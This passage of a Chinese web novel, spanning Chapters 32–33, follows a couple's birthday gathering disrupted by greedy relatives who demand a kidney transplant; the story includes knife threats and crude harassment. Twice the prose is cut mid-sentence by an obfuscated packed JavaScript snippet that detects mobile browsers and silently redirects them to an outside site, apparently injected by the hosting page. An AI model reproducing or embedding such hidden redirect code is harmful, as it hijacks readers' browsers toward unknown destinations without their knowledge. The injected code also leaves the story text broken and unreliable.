“那万一我真变成了小动物,而且还是一条记忆力只有七秒钟的鱼呢?” “没关系,只要不是我讨厌的小动物就行。” “……那万一我变成了你最讨厌的小老鼠呢?你就不喜欢我了吗?” 周予安沉默两秒,终于移开视线,语气里带着一丝妥协,“……算了,即便是你真变成了小老鼠,估计我也舍不得放开你。因为你是例外,好像不管怎么样我都会喜欢你的。哪怕你最后变成了大魔头、变成了小老鼠,变成了一只只有七秒钟记忆力的小鱼,变成了天空中一去不复返的鹰,我也会一直喜欢你。” 变成大魔头没关系,变成小鱼也没关系,变成周予安讨厌的小老鼠也没关系,他爱季蝉衣,所以变成什么都没关系。 他一会一直喜欢季蝉衣到季蝉衣觉得这份喜欢是个负担为止。 季蝉衣怔怔的看着周予安,不知道为什么,有那么一瞬间,她似乎听到了心口有好多个爆珠糖同时炸开的声音,甜蜜蔓延的同时,还伴随着一种说不上来的酸涩感觉。 但她为什么会有这种感觉?难道在不知不觉之中,她对周予安的感情已经由最初的同盟战友情谊变质成了某种不可言说的感情?难道她已经不满足于仅仅是和周予安做普通朋友了? 季蝉衣从来没有谈过恋爱,但她隐约觉得,自己对这个问题异乎寻常的执着或许确实证明了周予安现在在她心中的地位已经悄无声息的发生了变化。 胡思乱想了一会儿,季蝉衣也有点捉摸不透自己的心思了。 不过不管怎么说,季蝉衣总算是得到了自己想要的答案,也就觉得安心不少,她平复了一下自己跳的过快的心脏之后,才有心思继续观察李慕青和杨秀迁。 李慕青和杨秀迁虽然散发出的气场完全不同,但站在一起却非常融洽,而且看起来也很登对。 李慕青处理人情往来的各种琐事时,杨秀迁就时不时的递给李慕青一些点心或饮料,在李慕青累的时候帮她轻轻揉揉腰按按肩膀。这时候李慕青就会眯着眼睛享受杨秀迁力度正好的按摩,回头和他相视一笑,虽然没有开口,但是那股甜蜜的感觉一路蔓延进了两人的心里。 就在大家聊的差不多了,可以准备去吃饭的时候,几个人忽然大摇大摆的推开门,边叫着“嫂子”边从外面进来了。 为首的是个戴着大金链子和大金手镯的中年妇女,跟在她身后的是一长串的人,有两个大腹便便的男人和一个年轻人,还有两个老人和一个年轻姑娘。妇女穿了一身花红柳绿非常夸张的颜色,头发被烫成了爆炸头,手上的翡翠手镯大金戒指几乎能闪瞎别人的眼睛,总之整个人一看就是走那种少见的浮夸风。 但不知道是不是因为这个妇女实在是没有贵妇人那种气质,还是因为她身上的市井气息太严重了,又或者是因为审美不够,让这副原本想走奢华风的穿搭看起来其实非常廉价和丑陋,总之这副打扮在她身上适得其反,反而显出一种很市侩和塑料感。 而且更要命的是季蝉衣比较眼尖,一下子就注意到妇女手上的镯子有块地方被磨得掉了色。显然这手镯并没有它主人想表现出来的那么货真价实。 跟在她身后的两个男的也穿的非常夸张,一人穿着一身不合适的西装,西装的线头都还在外面露着,看起来不伦不类。至于那个年轻一点的,身上穿着一见logo大的非常夸张的衣服,走到哪儿都略显刻意的把外套撩开,把名牌logo露出来。 而且显然这些人完全不觉得自己的审美有什么问题,反而为自己的穿搭沾沾自喜,觉得今日自己一定能闪瞎在场这些人的钛合金狗眼,所以每个人都趾高气扬,得意忘形。 一看见这几个人,李慕青的朋友们大多是不解,杨秀迁一家人则一下子变了脸色,杨秀迁和他妹妹都一脸嫌弃和恶的模样,他们的母亲脸色也不太好,似乎想说什么,但最后什么也没说。 杨秀迁和他妹妹下意识靠向了李慕青,把李慕青拥簇在中间,李慕青脸色丝毫没有变化,轻轻拍了拍杨秀迁的手以示安抚。 见李慕青如此波澜不惊,杨秀迁的脸色这才稍稍有了缓和。 李慕青则面色不变,仔细看过去,还能看见她眼底那抹讥讽的笑容以及对接下来即将大干一场的跃跃欲试。 季蝉衣发觉事情不对劲,于是悄悄靠近李慕青,压低声音问她:“怎么回事儿?这些人是正经人吗?” 李慕青拍了拍季蝉衣的手背,笑眯眯地说:“人正不正经的不好说,反正是挺招笑的。本来还说邀请你们来这里你们会不会觉得无聊,现在好了,现成的乐子来了,这里的环境虽然一般,但是这出戏肯定好看。来的这几个是杨秀迁家的亲戚,那个纹身的男的是和杨秀迁八竿子打不着的表叔,女的是他亲姑姑,那个西装露出线头的是他姑父,那个看起来像是精神小伙的是他姑姑的儿子,染着非主流发色的是她女儿。那一对老人是杨秀迁姑父兄弟的父母。得了,剩下那一帮子也不和你说了,反正也就是一群败类。之前一直都是听秀迁说过他这帮奇葩亲戚,还从来没见过人,今儿人总算是到齐了,估计又能闹出不少的笑话,你就留下来安心看,这出好戏保准满意。” 两个人在一起之后,杨秀迁没少为自己亲戚的事情煎熬。甚至在他们刚在一起的时候,杨秀迁还因为自己的家庭想要退缩,他再三和李慕青描述过自己的亲戚多么奇葩、多么不讲理,他想让李慕青知难而退,想让李慕青想好再和决定到底要不要他在一起。他觉得自己这是在耽误李慕青,所以他希望李慕青不是一时冲动才和他在一起,希望李慕青能为了自己仔细考虑要不要和他这种家庭的人谈恋爱。 但李慕青见杨秀迁这惴惴不安的样子,只是眼含笑意的看着他,觉得他有种天真的可爱。 李慕青跟着父母驰骋商场这么多年,见过血腥的恶心的事情海了去了,那些事情是杨秀迁连想都不敢想的,比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17566119|203583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起那些见不得人的事情,杨秀迁的奇葩亲戚真的算不上什么事情,却能让杨秀迁焦虑这么久……李慕青有时候觉得杨秀迁这种为了小事烦恼的样子还让她觉得有趣和心动。 李慕青没和季蝉衣细说杨秀迁是怎么形容他这些亲戚的,但季蝉衣一下就明白了李慕青的话外之音。 之前她听简离和她八卦过,大致也知道杨秀迁家里的那摊事儿。 杨秀迁有一个姑姑名叫杨芳舒,他爸爸还在的时候,他姑姑没少来他们家打秋风。每次都装的亲亲热热的,恨不得直接在杨秀迁家住下和他们过。 后来他爸爸死了,家里那段时间过得特别艰难,他姑姑就再也没出现过,甚至就连杨秀迁爸爸发丧的时候也没出现。丧事办完,他妈妈带着他们一双兄妹艰难的过日子,到后来实在是撑不下去的时候,才咬着牙低声下气的去和杨芳舒借钱,想着怎么也是有血缘关系的亲戚,而且之前杨秀迁他爸爸在的时候也没少帮衬过他姑姑一家,杨芳舒总得顾念血缘关系将借点钱。 可谁知道上门的时候,别说借到钱了,母子二人连家门都没进去,就站在门口被杨芳舒兜头骂了一顿,光是骂人还不够,杨芳舒差点没直接拿起扫帚打他们。 两家人就断了联系,这些年杨芳舒一直对他们不闻不问,有时候上街见到了,还被杨芳舒鼻子不是鼻子眼睛不是眼睛的明嘲暗讽一顿。到后来杨秀迁考了出来,家里稍微好点了,杨芳舒就又开始主动和杨秀迁一家说话。 虽然杨秀迁兄妹两个都是闷葫芦,他们母亲也是个容易心软的人,但他们都知道杨芳舒不是什么好人,所以一直不愿意搭理她。 但杨芳舒这个人,脸皮厚的要命,又没什么道德底线,只有利益能打动她,而且为了蝇头小利什么都做得出来,于是这些年一直往杨秀迁身边贴,不是拜托他让他给自己的儿子找个舒服又钱多的工作就是拜托他找人托关系把自己高考二百多分的女儿送到重本大学。 后来见杨秀迁和有钱人家的女儿谈恋爱了,杨芳舒更是一发不可收拾,简直就是直接把李慕青家里的财产划到了自己名下,仿佛那些钱都已经全部被自己收入了囊中,逢人就吹嘘李慕青家多么多么有钱,自己以后会多么多么沾光。 于是在李慕青还没来过村里之前,村里的所有人都知道了李慕青特别喜欢杨秀迁,为了杨秀迁,以后会把自己亲戚里面有钱又优秀的高材生姑娘介绍给杨芳舒那中专毕业的无业儿子郝龙,还会在城里给他们一家卖套五百平方米的大房子,把他们夫妻二人安排进国企,让他们的女儿在他们某某分公司当领导……一家人做着已经过上了人上人生活的美梦,往杨秀迁家来的就更勤了,再次恨不得直接在杨秀迁家住下。 在他们还没机会见到李慕青本人的时候,一件大事先一步发生了,杨芳舒丈夫郝洪建的弟弟郝洪筑有个儿子名叫郝子毅,郝子毅从小就是混混一个,在初中就和杨芳舒的女儿郝丽丽一起当街溜子,最后勉强上了个中专,又因为和同学打架被劝退了。 辍学后不久,郝子毅就看上了一双名牌鞋,只不过这双鞋太贵了,根本不是他能买得起的,而且一向溺爱他父母和爷爷奶奶一听他想花这么多钱买双鞋子,也都纷纷板着脸不乐意了。求了好几天无果之后,郝子毅也生气了,很多和他一样年纪家里有钱的那些年轻人都买了这些鞋子,就他没有,郝子毅眼馋鞋子眼馋了好几天,虚荣心始终得不到满足,脾气就上来了,发誓不惜一切代价也要买一双名牌鞋子。 郝子毅到处寻找买鞋的办法,后来被一个卖肾换钱的小广告吸引了,他见一个肾竟然能卖好几万,够他买两双鞋的了,于是立刻鬼迷心窍的联系了买家。 他上学的时候不是抽烟喝酒就是和同学吹牛逼,根本没学到什么有用的东西,只知道人有两个肾,既然有两个,那割了一个肯定也关系不大,他这么想着,最后还真就去卖了一个肾。 把肾割掉之后,买家果然如他所愿给他了三万块钱。 拿着这三万,郝子毅连等都没等,做的第一件事就是去了专卖店把名牌鞋买了。 那段日子郝子毅过得那叫一个如鱼得水、如沐春风。花钱大手大脚,动辄请这个吃饭请那个逛街,还终于良心发现一回给家人都买了礼物。 家人在感动之余,很快就察觉到了不对劲——他们家一向没什么钱,这个郝子毅是哪来的这么多钱? 在父母的逼问下,郝子毅还是没瞒住,把一切都说了出来。 郝子毅他妈高阿曼一听,气的差点没晕过去。虽然高阿曼也没读过书,但是这毕竟是从人的身体里割掉一个器官,她知道肯定会有副作用。 但买肾的人已经消失的无影无踪,他们嚷嚷着发动全家人找了很久都没有找到,最后高阿曼提议报警,但做这种买卖的肯定藏得特别深,报警估计也很难找到。再说了,那三万块钱已经快被郝子毅花光了,郝洪筑怕到时候卖肾的人要让他们把钱还回来,他们上哪儿去弄这么多钱? 所以最后这件事也就不了了之,就在一家人都觉得没什么办法再去挽回的时候,郝洪筑偶然间从大哥那里听见大嫂吹嘘李家多么多么有钱,于是立刻又动了歪心思。 他带着妻儿请大哥一家吃了顿饭,期间连连恭维大哥一家,把大哥大嫂哄开心了,才说出自己想求他们办的事儿。杨芳舒吹牛正吹到兴头上,一听说这事,哈哈大笑着说道:“这也叫事儿?那个李慕青爱杨秀迁爱的死去活来的,杨秀迁又最听我的话,让她干什么她不答应?你就放心吧,这件事就包在我身上。听说那个李慕青在秀迁生日的时候会和秀迁一起回老家一趟,到时候我带着你们过去把这事一说就完事儿了,保准让李慕青给你们找个更好的肾,而且还不花你家一分钱。你们就瞧好吧,到时候不用咱们开口,李慕青可肯定得上赶着给咱们这些亲戚花钱。” 郝洪筑一听,还以为真像杨芳舒那样容易,顿时喜上眉梢,更加殷勤的奉承大哥大嫂,把杨芳舒被哄得舒舒服服高高兴兴的。吃完这顿饭,郝洪筑也没少买好东西往杨芳舒家送,杨芳舒倒是也没客气,脸不红心不跳的把那些礼品照单全收。 所以杨芳舒和郝洪建这次过来,一是想见见李慕青,让她实现他们做的那些美梦,二是让李慕青出钱出力,给郝子毅找到合适的肾换上。 32. Chapter32. 进来之后,杨芳舒俨然已经把自己当成了主人,笑眯眯的四处打招呼,大家不认识她,因此没有一个人回应她。杨芳舒也不觉得尴尬,径直走到了杨秀迁的母亲张梅花身边,亲亲热热地挽着她地胳膊,笑眯眯地说:“今天是秀迁生日,我这个当姑姑的一大早就赶过来看你们了。嫂子你看看,我还给秀迁带生日礼物了呢。” 杨芳舒说着,示意身后的郝洪建把提的东西拿过来。 季蝉衣看清是什么东西的时候,眼角抽了抽。 好家伙,竟然是一箱“雷碧”,这确实有点雷人啊。 她看了一眼周予安,周予安也回看着她,两个人的视线来回交流,一时间都啧啧称奇。 李慕青倒是没什么反应,依然笑眯眯的,让人看不透她的想法。 杨芳舒自己给自己说完开场白之后,非常自然的把话题转移到了杨秀迁和李慕青身上:“听说秀迁谈恋爱了?哎呦呦,这位就是秀迁的女朋友吧?长得这么俊啊,你看看,人又好看又板正,我们秀迁真是修了八辈子的福气才能和这样一个姑娘在一起呦。姑娘,你可能不知道我,我是秀迁的姑姑,我们两家的关系可亲密了,跟一家人似的,小时候我就对秀迁好,秀迁也就认我这个姑姑,后来我大哥去了之后,也一直都是我照顾他们孤儿寡母的,你别看秀迁这孩子不说话,其实他跟我比跟他自己的妈都亲呢……” 杨芳舒脸不红心不跳的说完这些话,杨秀迁兄妹已经是气的脸都白了,恨不得上去把杨芳舒那张嘴撕烂。李慕青则依然是笑盈盈的,看起来既和气又温和,只是那笑容并没有漫进眼底。 其他人已经回过味来,纷纷抱着看好戏的姿态看杨芳舒说话。 季蝉衣则又忍不住用气声和周予安说话:“够了,我得做多少坏事才抵得上我听到这句话所受到的报应?今天我才真是开了眼了,原来咱们平常的演技不算夸张,眼前这位才是夸张演技派的祖师爷啊。果然人有多大胆地有多大产,我以后再也不嫌你演技浮夸了。跟她比,咱们还是太保守了。” “我那演技还叫浮夸?我那是恰如其分好吧,从群众中来到群众中去,大家相信的演技才是好演技。” “行了瓜总,先别自卖自夸了,我怕这个女的再说下去我一会儿会忍不住拿鞋底子抽她——到时候你会给我递鞋的,对吗?” “放心吧,我一定会把揍人最疼的鞋递给你。” “那我就放心了。” 两个人悄悄击了下掌。 那边的杨芳舒还在说,不仅自己说,还非要拉着张梅花一起说,想得到张梅花的认同:“是吧嫂子?” 张梅花本来就没什么主见,脾气又软,被人当众这么一逼,就更说不出话来。杨芳舒就是知道她这一点,所以故意想要逼问她。 就在张梅花快要含糊点头想赶紧扯过这一茬,杨秀迁再也忍不住了,上前一步说:“姑姑,你这句话可就说错了吧,之前我爸出事的时候,你可是一次都没来过啊。” 见哥哥起头了,杨秀迁的妹妹杨欢颜也壮着胆子说了两句:“就是,而且我们去跟姑姑借钱,也被姑姑赶了出来,还骂我们是叫花子……” 杨秀迁性子也软,说不出什么重话,但他也是有底线的,他知道面对杨芳舒这种人得强硬一点,要不然只有被欺负的份儿。要是放在之前,他肯定想着退一步海阔天空,咬着牙忍下去了。 但或许是今天有李慕青在身边,让他有了底气,他第一次这么直白的为自己反驳。 李慕青似乎也为杨秀迁的转变感到意外,挑了挑眉,眼含笑意的看着他。 杨秀迁回望过去,轻轻碰了碰李慕青的手指,回以温柔一笑。 杨芳舒怔了怔,显然没想到杨秀迁会当着这么多人的面这么不留情面,表情一下子就变了,但毕竟还有外人在,她压下自己心头的不快,努力挤出一个笑容来,语气有些尴尬:“你看这孩子说的是什么话,姑姑那时候不正有事吗?你不知道,姑姑家里出事了,我每天忙的焦头烂额的,不想让你们担心,所以才没和你们说过这件事。要是姑姑家里没出事,肯定会经常去你家啊。只不过我实在是抽不开身……” 她有些心虚的说完,立刻又转移了话题,笑眯眯的看向李慕青,一个劲儿的夸起李慕青来。 李慕青从头到尾表情都没变化,也一直没有回应杨芳舒。杨芳舒只好一个人一个劲儿的说下去,说到唾沫星子都快干了也没人搭理她。 她终于悻悻然停了下来。 李慕青依然没说话,杨芳舒的眼神四下一瞟,看见了院子里张梅花和杨秀迁准备的食物,有红酒、饮料,还有杨秀迁怕不和李慕青胃口,所以专门从市里带来的蛋糕和各种糕点。 她咽了口唾沫,笑眯眯的边说边走过去,拿起刀叉毫不客气的给自己切了一块蛋糕,那一个完整的蛋糕被她一个人切去了快一半。杨芳舒手上沾了点奶油,她不舍得抹掉,就用舌头舔干净了。同时还招呼身后的郝龙和郝丽丽:“快过来,这玩意一看就贵,你们都多吃点。” 说着,她用那根舔过的手指头拿起刀叉,又切了一大块给自己的儿子女儿。 看着杨芳舒这副作态,李慕青的好几个朋友都暗暗翻起了白眼,一脸鄙夷之色。 张梅花也尴尬的缩在一边,觉得小姑子实在是上不得台面。 偏偏郝龙和郝丽丽完全不觉得有什么,堂而皇之的走上前接过母亲递的蛋糕,也不说谢谢,站在院子中间哧溜哧溜吃起来。 郝龙还觉得光吃不够,也不用人招呼,非常自觉地去旁边拿酒拿饮料,还招呼表哥郝子毅一起吃。 三个身穿豆豆鞋、紧身裤、身上还有纹身的精神小伙就这么旁若无人的站在院子中间吃起来,郝子毅还拿出一根烟点燃了,边吃边抽。 杨秀迁皱了皱眉,虽然这么埋汰的人不是他,但毕竟是他的亲戚。又是在李慕青面前,他实在是受不了,替自己姑姑觉得躁得慌,刚想上前过去制止,就被李慕青轻轻拉住了胳膊。 李慕青朝他摇摇头,嘴边蓄着一抹笑,但那双眼睛却带着鄙夷。 她示意杨秀迁先别轻举妄动,她有的是办法整治这些人。 杨秀迁见状,那烦闷的情绪也就逐渐平复下来。李慕青好像总是有让人安定下来的能力。 杨芳舒吃完之后,差点就准备从兜里拿出塑料袋把剩下的打包拿回去继续吃,好在关键时刻她醒悟过来,想起自己来这里是为了更大的事情,这才把塑料袋又塞回了自己的口袋里。 杨芳舒笑眯眯的看向李慕青,主动和她搭话:“小青啊,我听说你家还开医院呢,能挣不少钱吧?” 李慕青依然笑眯眯的,语气也不见有多么大的起伏:“这些年生意不好做,光是赔钱了,哪里能挣不少啊。阿姨真是说笑了。” “哎呦呦,就算是再不挣钱,可肯定比我们这些人强啊。还有啊小青,你这马上就和秀迁结婚了,怎么还能叫我阿姨呢,得改口叫姑姑了。你看,这是你姑父,这是你姑父的亲弟弟,你叫一声叔吧。” 郝洪建和郝洪筑闻言一起笑起来,上下打量李慕青,眼神有些不怀好意。 李慕青嗤的一声笑了,漫不经心的回答:“等真结了婚之后再改口也不迟啊,这杨姨这么心急啊?” 杨芳舒一愣,被李慕青这软刀子怼的脸色有些不好看,但她还有求于人,仍然强挤出笑容,笑眯眯地说:“也是,这事确实急不得。” 顿了顿,她直接进入正题,笑眯眯的和李慕青说明了自己的来意:“今天姑……阿姨过来,是有件事想让你帮忙。” 李慕青慢慢的拨弄手上的烟盒,头也不抬的问:“什么事?” 不知道为什么,见到李慕青这副不冷不热的样子,反而比有情绪的时候更让人心生恐惧,杨芳舒竟然萌生了一点退意。不过之前的牛皮已经吹了出去,现在郝洪筑夫妻两人正殷勤的盯着她,她不说也不行了,只要硬着头皮勉强笑道:“哦,倒也不是什么大事,对你来说,就是动动手指头说句话的事情。就是你洪筑叔的儿子之前被那歹人哄骗,卖掉了一个肾,阿姨倒也没别的要求,就是想请你帮忙找个肾给安回去,最好是尽早解决,在你们结婚之前就找到肾,要不然免得夜长梦多,把秀迁表弟的身体拖垮了就不好了。” 李慕青嗤的一声笑了,从烟盒里抽出一根烟叼在嘴里,杨秀迁非常自然的拿出打火机帮李慕青点燃。 李慕青抽烟的动作很优美,郝丽丽也抽烟,但她抽的都是那种十几块钱一包的劣质烟,而且都是为了装逼,乍一见到有人能将这么简单的动作做的这么干练,一时间眼睛都看呆了。 李慕青笑眯眯的看着杨芳舒,语气随意,像是在和她闲聊:“这可不止动动手指的事情,这杨阿姨上嘴皮一碰下嘴皮子,自己觉得很轻松,可就有点为难别人了。” 杨芳舒皱了皱眉,很快又挤出笑容:“这是什么话,对你来说,这事不很简单吗?而且你家又有医院,随便去拿一个肾过来换上不是轻轻松松的吗?别是连这点小忙都不愿意帮吧?” 季蝉衣被杨芳舒的无知震 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17569720|203583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惊到了,敢情杨芳舒以为医院就可以随便噶人腰子,而且随便一个腰子都可以用在郝子毅身上。 就在她以为李慕青会和杨芳舒这奇葩一家人解释一下关于器官移植方面的事情,给这帮人扫扫盲的时候,就听见李慕青笑眯眯地说:“哎呀,这对我来说确实是小忙,而且我家医院里还有好多个刚割下来的肾都没处用呢,给你们也合适……” 杨芳舒立刻笑道:“这才对嘛,咱们都是一家人啊,互帮互助都是应该的,你看以后我们还有很多忙需要你帮,你也得看见亲戚的份上伸出援助之手,你要是想和秀迁安安稳稳的在一起,就是付出些什么,对吧?我们秀迁可是高材生,在整个村子里都难得一见。而且不止这件事,你看丽丽、小龙和子毅都还单着呢,你要是有什么合适的朋友,一定要介绍给他们。你看这三个都是好孩子,村里的人踏破门槛想和他们在一起我都没同意呢……” 说着,杨芳舒注意到了站在角落里一言不发的陆靳、陆雨婷兄妹,眼睛一亮,顺势指着他们说:“你看,我看他们两个就不错,看起来模样很俊俏,身上穿的衣服也好,还戴着金手镯……你们这么年轻,肯定也没结婚吧,今天这个日子就正合适,你们年轻人多相见相见,说不定就看对眼了呢。哎,小姑娘,别害羞啊,过来和小龙聊聊……小龙身强体壮,那滋味你试过一次肯定就念念不忘了……” 杨芳舒随口开了个黄色玩笑,郝龙和郝丽丽、郝子毅一起哈哈大笑起来,其他人也跟着笑,视线全都击中在了陆雨婷身上,无数个不怀好意的视线在她身上来回扫射。 杨芳舒的视线又在人群里巡视一圈,最后落在季蝉衣身上,就在季蝉衣等着她说出类似于“这个女孩也不错就和子毅处处”吧类似的话,她就可以直接给周予安要鞋抽在这个女人脸上的时候,谁知道杨芳舒却移开了视线,指向了另外一个姑娘:“我看这个姑娘也不错,看起来老实本分,肯定是个守家的好料子。” 季蝉衣没想到杨芳舒竟然转移了目标,一时间还愣了愣。 杨芳舒似乎也觉得季蝉衣不错,又看了季蝉衣一眼,语气里掩饰不住的惋惜:“这姑娘也不错,可惜已经有男朋友了。” 郝子毅显然也对季蝉衣有好感,听见自己的婶婶这么说,忍不住嘀咕了一句:“……有男朋友怎么了?这样的女人化这么浓的妆肯定水性杨花,说不定就喜欢脚踏两只船呢,还不如让我也享享福……” 话没说完,他不经意间一抬头,对上了一道阴沉的视线。 是周予安,瞳孔深处没有一丝温度,只有无尽的冷寂与漠然,那双眸子抬起的一瞬间,周遭的空气仿佛骤然凝固成实质。 郝子毅一激灵,剩下的话卡在嘴里,觉得脊背窜起一股彻骨的寒意,像是被无形之手扼住了咽喉,竟然不敢再多说一个字。 季蝉衣倒是完全没在意郝子毅的话,反而是因为刚刚听见杨芳舒的话而愣了一下,她没反应过来杨芳舒嘴里的这个“男朋友”是谁,愣了两秒,终于反应过来杨芳舒说的应该是站在她身后寸步不离跟着她的周予安。 季蝉衣回头看了一眼周予安,周予安正低头看着她。周予安脸上的表情和平常没有任何区别,只是看着她的时候,似乎比平常更专注、更深沉了些。 季蝉衣又把视线转移到杨芳舒身上,奇怪的问:“你怎么知道他是我男朋友?” 她好像还没开始和周予安高调炒CP呢吧? 杨芳舒笑了一下,随口说:“哎呦,这小帅哥的眼神都快粘你身上了,就你俩这模样,少说也得在一起很久了。” 停了停,杨芳舒笑眯眯的开玩笑:“不过要是你觉得我们子毅更好,那我们倒是也不介意你谈过恋爱。” 季蝉衣笑眯眯的开口:“那还是算了吧。” 杨芳舒也没多说什么,慈爱的和郝龙说:“一会儿你多跟那个小妹妹聊聊,说不定你俩真合适呢。” 郝龙还真就走向陆雨婷,边心怀不轨的盯着陆雨婷看笑边说:“来啊小妹妹,路边那些女的招呼我我连个眼神都懒得给他们,今天我给你这个……” 郝龙的话语戛然而止,陆靳一脚将人踹飞了出去。 好在院子里有棵树能挡一挡,郝龙撞到树上又掉了下来,发出一声闷响。 李慕青早有预料似的看着这一切,等陆靳收了脚,这才淡淡的吐了口烟圈,语气冷漠:“我确实轻而易举就能帮到你们……但你算个什么东西,家里没有镜子,总得有尿吧?我凭什么要帮你们这种下三滥的货色?给自己添堵么?” 33. Chapter33. 直到郝龙的哀嚎声响起,杨芳舒才后知后觉的反应过来,一家人顾不上别的,先慌慌张张的跑过去把郝龙扶了起来,杨芳舒心疼的“心肝啊肉啊”的把郝龙搂在怀里叫起来。 几个人闹了一阵,杨芳舒忽然一下子站起来,凶神恶煞的盯着陆靳,咬牙切齿的说:“你竟然敢这么对我的宝贝儿子?你找死是不是?” 季蝉衣“啧”了一声,回头和周予安说话:“这下杨芳舒可算是完蛋了,陆靳这人就是个疯子,之前那些跟踪监视什么的都是小意思,真让他不痛快了,他有的是办法神不知鬼不觉的弄死这一家人。敢惹陆靳,杨芳舒到最后估计自己怎么死的都不知道。” 周予安微微低头看着季蝉衣,他看着季蝉衣光洁的额头,嘴上附和这季蝉衣,眼中闪过一丝阴冷的寒光。心里想的却是,杨芳舒确实该死。 她竟然敢对季蝉衣起这种心思,就算是陆靳不出手,他也不可能放过杨芳舒的。 不过他心里这么想,面对着季蝉衣的时候,看着依然是那副随意的模样,看起来好脾气又有些不正经。 陆靳挡在陆雨婷身前,袖中一闪,一把刀被他握在了手中。 他面无表情的看着杨芳舒,明明一句话都没说,但身上散发出来的戾气却让人胆寒。 杨芳舒果然被吓住了,瞪大眼睛愣愣的看着陆靳。 郝洪建和郝洪筑两兄弟还在气头上,仗着自己年轻力壮,凶狠的走上前要和陆靳理论。 陆靳的右手灵巧的转动那把利刃,刀剑在半空中被舞出残影,但一点儿也没有划伤他自己的手。 郝洪建来到陆靳前面,刚伸出手,就被陆靳一把扭住了手腕,稍一使劲,郝洪建的手就被扭在了后背,整个人吃痛的跪在了地上,疼的脸都变形了。 郝洪筑目瞪口呆的看着陆靳的动作,他们都没看清陆靳到底是怎么动的,就这么轻轻松松制服了郝洪建。 陆靳的力气大得吓人,看起来似乎都没怎么用劲儿,就这么轻轻制住郝洪建,郝洪建这么大块头的一个男人竟然就一点都动弹不得了。李慕青动了动,似乎想去郝洪建那边。杨秀迁吓了一跳,立马站在了李慕青身边,李慕青被杨秀迁这如临大敌的模样逗笑了,笑眯眯的拍了拍他的手背示意他安心。同时小声说:“没事,我去看看陆靳哥。” 杨秀迁愣愣的看着李慕青,这才松开了手。李慕青笑眯眯的整理了一下自己的领口,站在陆靳身边,和他并肩而立,看着被压得死死的郝洪建,一脸惋惜的摇了摇头,同时抬头笑眯眯的和陆靳说:“谢了陆靳哥,回头让我哥把他藏了很久的那幅画给你,雨婷妹妹不是喜欢了很久吗?” 陆靳“嗯”了一声,语气难得出现了波动:“谢了。” “不客气,这人你爱怎么弄就怎么弄吧——虽然其实也不用我多嘴说这么一句,毕竟是他先冒犯雨婷妹妹在先,想来你也不会客气的。” 陆靳弯了弯唇,语气说不清是讥讽还是冷漠:“确实。” 陆靳缓缓蹲下身,在这种时候,他的脸上竟然浮现出一直奇异的笑容,那笑容很可怕,像是猎物掉进陷阱之后挣扎了很久,以为自己很快就会得救的时候,一转头忽然看见了猎手的脸在黑暗中缓缓浮现出来。陆靳的表情和看着猎物挣扎的时候猎手的表情一模一样,残忍血腥,但是都有种因为逗弄猎物而发自内心的愉悦。 陆靳抽出开了刃的小刀,用刀尖轻轻在郝洪建脸上拍了拍,笑容几乎隐匿在眼中的残忍里:“你想怎么死呢?我给你个痛快还是慢慢放血,让你眼睁睁的看着自己失血而死,嗯?” 杨芳舒一家人都被吓傻了,所有人都知道陆靳和表面上看起来的温良无害完全不同,他就是一个疯子,不然哪个正常人会在去别人家做客的时候随身带着一把开了刃的匕首呢。 郝洪建吓得大气都不敢喘一声,那个刀子就在自己眼前,只要陆靳的手指稍微抖一抖,那锋利的刀刃就能立刻在他脸上划出一个大口子。 其他人都不敢轻举妄动了,所有人像是哑巴了一样说不出一句话。 陆靳满意了,收回了刀子,微微歪了歪头,浑身散发着拒人于千里之外的冷冽气场:“早这么老实不就好了?以后再不听话,我可不保证下次这把刀会出现在你身体的哪个部位。” 陆靳松开了手,郝洪建的身体顿时瘫软下去,试了好几次都没站起来,还是杨芳舒过来扶他才抖抖索索的站直了。 杨芳舒显然也被吓得不轻,她缓了缓,往后退了两步。知道来狠的不行了,因为这里有个比他们更狠的,眼珠子在眼眶里骨碌碌转了一圈,忽然干嚎着跑向张梅花,眼角挤出两滴泪。 杨芳舒声音凄切,看起来很可怜:“大嫂,难道你真的要看着你的小姑子被他们活活逼死吗?你刚刚也听说了,只要李慕青一句话的事儿子毅就能好起来,又不是得让她去上刀山下火海,但是这个毒妇不仅不看在咱们都是亲戚的份上帮一下我们,刚才还那么对洪建。嫂子,这样的女人,你敢让她进家门吗?” 见她这样教唆自己的母亲,杨秀迁和杨欢颜顿时都气愤不已,杨秀迁冷淡道:“妈,你别听她瞎说,难道你忘了爸去世的时候她是怎么对咱们的了吗?” 张梅花原本正左右为难,见杨秀迁这么说,一时也硬下心肠,想要推开杨芳舒的胳膊。 杨芳舒的脸色有一瞬间的扭曲,她恨恨的看着杨秀迁兄妹,狠狠的剜了他们一眼。但却不肯放开抓着张梅花的手:“嫂子!我那个时候真的是有自己的难处,那段时间我们过得也不好,洪建出去赌钱输了好几万,丽丽又……又未婚先孕,我带着她堕胎也花了很多钱,还有阿龙,打伤了同学,我们又赔了不少……一堆事情挤在一起,所以我那时候才心情不好,也就对你们没那么上心。你看没出这些事情,我是怎么对你们的?嫂子,你摸着良心说说,我对你们不好吗?” 张梅花一直都是心软的人,意志不坚定,也没什么主见,听风就是风听雨就是雨,杨芳舒就是抓住了她这个性格,所以一个劲儿的诉苦卖惨。 